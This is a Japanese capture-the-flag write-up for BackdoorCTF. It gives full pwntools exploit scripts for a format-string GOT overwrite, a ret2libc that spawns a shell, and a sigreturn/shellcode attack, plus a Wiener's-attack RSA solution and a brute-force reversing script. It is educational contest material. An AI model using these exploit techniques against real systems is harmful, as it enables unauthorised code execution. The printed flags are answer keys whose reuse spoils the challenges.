# backdoor ctf
---
今回はHungrycaterpillar(solo)で参加した
最終的な順位は48位で1200ptだったみたいです。
THE-WALLが解けなくて悔しかった...
## baby-0x41414141
やるだけの問題
fgetsした後にprintfするが第一引数に送信した文字列が入るためFSBが存在する。
加えて__chk_printfではないため書き込みが可能となっている
exitを読んで終了してしまうのでexitを書き換える
```python=
from pwn import *
context(os='linux',arch='i386')
con =None
#nc 163.172.176.29 9035
HOST='163.172.176.29'
PORT=9035
if len(sys.argv) >1 and sys.argv[2] == "r":
con = remote(HOST,PORT)
else:
con = process('./baby')
exit_got=0x804a034
payload=""
payload+=p32(exit_got)
payload+=p32(exit_got+1)
payload+=p32(exit_got+2)
payload+=p32(exit_got+3)
payload+="%181x%10$hhn%124x%11$hhn%125x%12$hhn%260x%13$hhn"
con.recvuntil("\n")
con.sendline(payload)
con.interactive()
```
## just-do-it
最近just-do-itなる問題が出るがこれ
https://www.youtube.com/watch?v=TmOniZfBw34
が頭によぎる
また普通にオーバーフローする問題
アドレスリークするように組み立てた後、system("/bin/sh")する
- write(stdout , read_got , 4);した後もう一度main関数に飛ばす
- 二回目のmain関数でsystem("/bin/sh");する
```python=
from pwn import *
context(os='linux',arch='i386')
con =None
#nc 163.172.176.29 9036
HOST='163.172.176.29'
PORT=9036
if len(sys.argv) >1 and sys.argv[2] == "r":
con = remote(HOST,PORT)
else:
con = process('./just')
main = 0x0804847d
read_got = 0x804a018
write_plt = 0x8048370
payload ="A"*0x70#padding
payload +=p32(write_plt)
payload +=p32(main)
payload +=p32(1)
payload +=p32(read_got)
payload +=p32(4)
print(con.recvuntil("\n"))
con.send(payload)
libc = ELF('./libc_just')
req = con.recvuntil("H")
print(req)
leak_read = req[-5:-1]
leak_read = u32(leak_read)
print(hex(leak_read))
libc_base = leak_read - libc.symbols['__libc_start_main']
print(hex(libc_base) )
print(con.recvuntil("\n"))
payload ="A"*0x68
payload +=p32(libc_base+libc.symbols['system'])
payload +=p32(0xdeadbeef)
payload +=p32(libc_base +0x15900b)
con.send(payload)
con.interactive()
```
## COMPLEX-RSA
念入りに二回暗号化した問題
- 二回暗号化されるがNが使いまわされている
- 二回目の暗号化に使われるeが大きい値である
二回目の暗号化に使われているeが大きいのでWiener's Attackを疑って試したがだめだった。
そこで次の式を試した
一回目の暗号化で出てくる暗号文をc1、二回目に出で来る暗号文をc2とする。(二回目はflag.encと同じ)
一回目のeをe1、二回目のeをe2としmは平文として式を立てると
c1 = m^e1 mod n (m^e1 ÷n = k1 ...c1)
c2 = c1^e2 mod n (m^e2 ÷n =k2 ...c2)
二つの式より
c2 = (m^e1 mod n)^e2 mod n
となるので簡単にすると
c2 = m ^(e1 * e2 ) mod n
e2が大きな値となっているためe1をかけることでさらに大きくなる。
試しにもう一度Wiener's Attackに通すと
秘密鍵dを得ることができた
m = c2 ^d mod n
m =CTF{c0n6r47zzz_y0u_f0und_0ur_h1dd3n_w13n3r!!}
## funsignal
systemcall の一つであるsigreturnの問題だった
sigreturnはスタックからレジスタを復元するために用いられるらしい
そのsigreturnで0x1000023にあるflagを読めれば勝ち
普通にwrite(stdout ,flag_area , 0x40);
すればよかったのだがうまく動かなかったみたいなので
二回のsigreturn を使ってシェルコードを書き込みflagをとった
一回目は0x10000200あたりにもう一度sigreturnできるよう書き込んだ
一回目で既知のアドレスに飛ばせたので二回目でシェルコードを書き込みripを設定してフラグを読むことができた
```python=
from pwn import *
context(os='linux',arch='i386')
con =None
HOST='163.172.176.29'
PORT=9034
if len(sys.argv) >1 and sys.argv[2] == "r":
con = remote(HOST,PORT)
else:
con = process('./player_bin')
syscal = 0x10000015
flag_area = 0x10000023
payload=p64(0xdeadbeef)*5
payload +=p64(0)*8
payload +=p64(0)#rdi
payload +=p64(0x10000200)#rsi
payload +=p64(0x10000200)#rbp
payload +=p64(0)#rbx
payload +=p64(0x400)#rdx
payload +=p64(0)#rax
payload +=p64(0)#rcx
payload +=p64(0x10000200)#rsp
payload +=p64(0x1000000b)#rip
payload +=p64(0)
payload +=p64(0x33)
payload +=p64(0xdeadbeef)*4
payload +=p64(0)*3
payload +="\x91"*(0x400-len(payload))
con.send(payload)
payload=p64(0xdeadbeef)*5
payload +=p64(0)*8
payload +=p64(0)#rdi
payload +=p64(0x10000200)#rsi
payload +=p64(0x10000200)#rbp
payload +=p64(0)#rbx
payload +=p64(0x40)#rdx
payload +=p64(0)#rax
payload +=p64(0)#rcx
payload +=p64(0x0000000010000200)#rsp
payload +=p64(0x0000000010000318)#rip
payload +=p64(0)
payload +=p64(0x33)
payload +=p64(0xdeadbeef)*4
payload +=p64(0)*3
payload +=p64(0x10000250)*2
payload +=p64(0x9090909090909090)*0x10
payload += "\x48\xc7\xc7\x01\x00\x00\x00"
payload += "\x48\xc7\xc6\x23\x00\x00\x10"
payload += "\x48\xc7\xc0\x01\x00\x00\x00"
payload += "\x0f\x05"
payload += "\x90"*(0x400-len(payload))
con.sendline(payload)
con.interactive()
```
## no-calm
reversing の問題だった
引数に文字列をスペースで切って入力しあっていたらhackedとひょうじされる
入力した文字がそのままフラグになる
31文字でないとそのままプログラムは終了する
簡単な計算しかしていないので総当たりで出した
- 一文字目と二文字目を足して三文字目を引く
- 一文字目から二文字目を引いて三文字目を足す
- 二文字目から一文字目を引いて三文字目を足す
この三つの操作しかない。この三つの操作を行った後にtest内の値と同じであればよい
さすがに汚すぎたので少しいじったため動かないかもです
```python=
test = [0x51,0x35,0x57,0x5a ,0x9c ,0x42,0x62,0x8c,0x5c,0x26,0xaa,0x3c,0x1d,0xa1,0x45,0xa3,0x1b,0x45,0x93,0x2b,0x3b,0x92,0x56,0x2c,0x43,0x59,0x4b,0x75,0x7d,0x7d]
my_map="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}!\"#$%&\'()=-|;+:<>"
go=""
ans="CTF"
for i in range(9):
good_flag =False
temp =""
for k in range(len(my_map)):
for l in range(len(my_map)):
for m in range(len(my_map)):
if ord(my_map[k])+ord(my_map[l])-ord(my_map[m]) == test[3*(i+1)] and \
(ord(my_map[k])-ord(my_map[l])+ord(my_map[m]) ) ==test[3*(i+1)+1] :
if ord(my_map[l])-ord(my_map[k])+ord(my_map[m]) == test[3*(i+1)+2]:
good_flag=True
temp = my_map[k]
temp += my_map[l]
temp += my_map[m]
break
if good_flag==True:
break
if good_flag == True:
break
if good_flag == True:
print hex(test[3*(i+1)])+" "+hex(test[3*(i+1)+1])+" "+hex(test[3*(i+1)+2]),
print temp
go += temp
print ans+go
```
flag = CTF{Now_th1s_1s_t0_g3t_ANGRyy}